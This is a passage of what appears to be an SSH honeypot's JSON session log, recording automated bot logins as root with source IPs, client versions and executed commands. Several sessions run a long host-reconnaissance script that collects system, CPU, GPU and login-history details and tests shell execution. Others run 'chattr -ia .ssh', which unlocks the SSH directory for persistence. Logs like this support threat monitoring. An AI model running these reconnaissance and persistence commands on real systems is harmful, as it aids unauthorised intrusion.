'\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:32:12.618788+00:00",
  "ended_at": "2026-08-26T15:32:12.801265+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8496f10b-a571-4acc-9cb8-f06740851364",
  "name": "drifting-stoic-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 44896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:30:18.428770+00:00",
  "ended_at": "2026-08-26T15:30:18.533364+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6749b97d-7b2e-42a8-bdc8-99cfa995d58a",
  "name": "wooded-mellow-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40838,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 757,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:30:07.414904+00:00",
  "ended_at": "2026-08-26T15:30:08.845919+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "61699431-f4a8-4044-b450-1821dce17577",
  "name": "brisk-golden-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40840,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:29:44.144683+00:00",
  "ended_at": "2026-08-26T15:29:45.711084+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4b53656-be08-4bab-b89e-7c77ed949cf3",
  "name": "dewy-hazel-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40839,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:29:41.701607+00:00",
  "ended_at": "2026-08-26T15:29:42.649863+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5290905-a5e6-4a0f-b4c6-6b4a536f6148",
  "name": "murky-indigo-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 56054,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:29:09.446662+00:00",
  "ended_at": "2026-08-26T15:29:28.533639+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "def075a2-788f-490b-9e9d-ebe81e275189",
  "name": "vigilant-mellow-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 41960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:28:24.158370+00:00",
  "ended_at": "2026-08-26T15:28:24.275956+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "cde989e9-5ca8-4956-b3d5-de0e287d64bf",
  "name": "regal-dusty-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40835,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:27:28.014575+00:00",
  "ended_at": "2026-08-26T15:27:29.715057+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "7d2d6513-8691-4fe0-bd65-dbd7f9eff26d",
  "name": "snowy-spirited-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40837,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:27:06.674969+00:00",
  "ended_at": "2026-08-26T15:27:07.501876+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a973f55c-3843-4df6-bd56-1926981ae784",
  "name": "painted-diligent-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40836,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:27:03.902623+00:00",
  "ended_at": "2026-08-26T15:27:05.161104+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "32baab97-a8be-400e-b595-c87becf2cb1f",
  "name": "wandering-upland-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 38980,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:26:28.847160+00:00",
  "ended_at": "2026-08-26T15:26:28.987208+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c6bd8dbf-abde-4be4-b73d-76100143e4e1",
  "name": "rugged-scarlet-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40832,
  "username": "acer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 751,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:24:37.976212+00:00",
  "ended_at": "2026-08-26T15:24:39.423750+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "7fc6a136-68f8-472d-a17e-f01bd88578f2",
  "name": "graceful-distant-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 36022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:24:24.480105+00:00",
  "ended_at": "2026-08-26T15:24:24.584303+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "60c5228c-abee-415e-9ec6-50d9ecd0b02a",
  "name": "whispering-crisp-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40834,
  "username": "acer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:24:15.827647+00:00",
  "ended_at": "2026-08-26T15:24:17.509470+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4386874c-aa8b-4b0b-b063-675d08724d83",
  "name": "wry-misty-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40833,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:24:12.941046+00:00",
  "ended_at": "2026-08-26T15:24:14.331042+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aa2b3bdb-41b1-40f7-a630-5bac28d1c9e3",
  "name": "rapid-bashful-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 33070,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:22:24.348249+00:00",
  "ended_at": "2026-08-26T15:22:24.454864+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
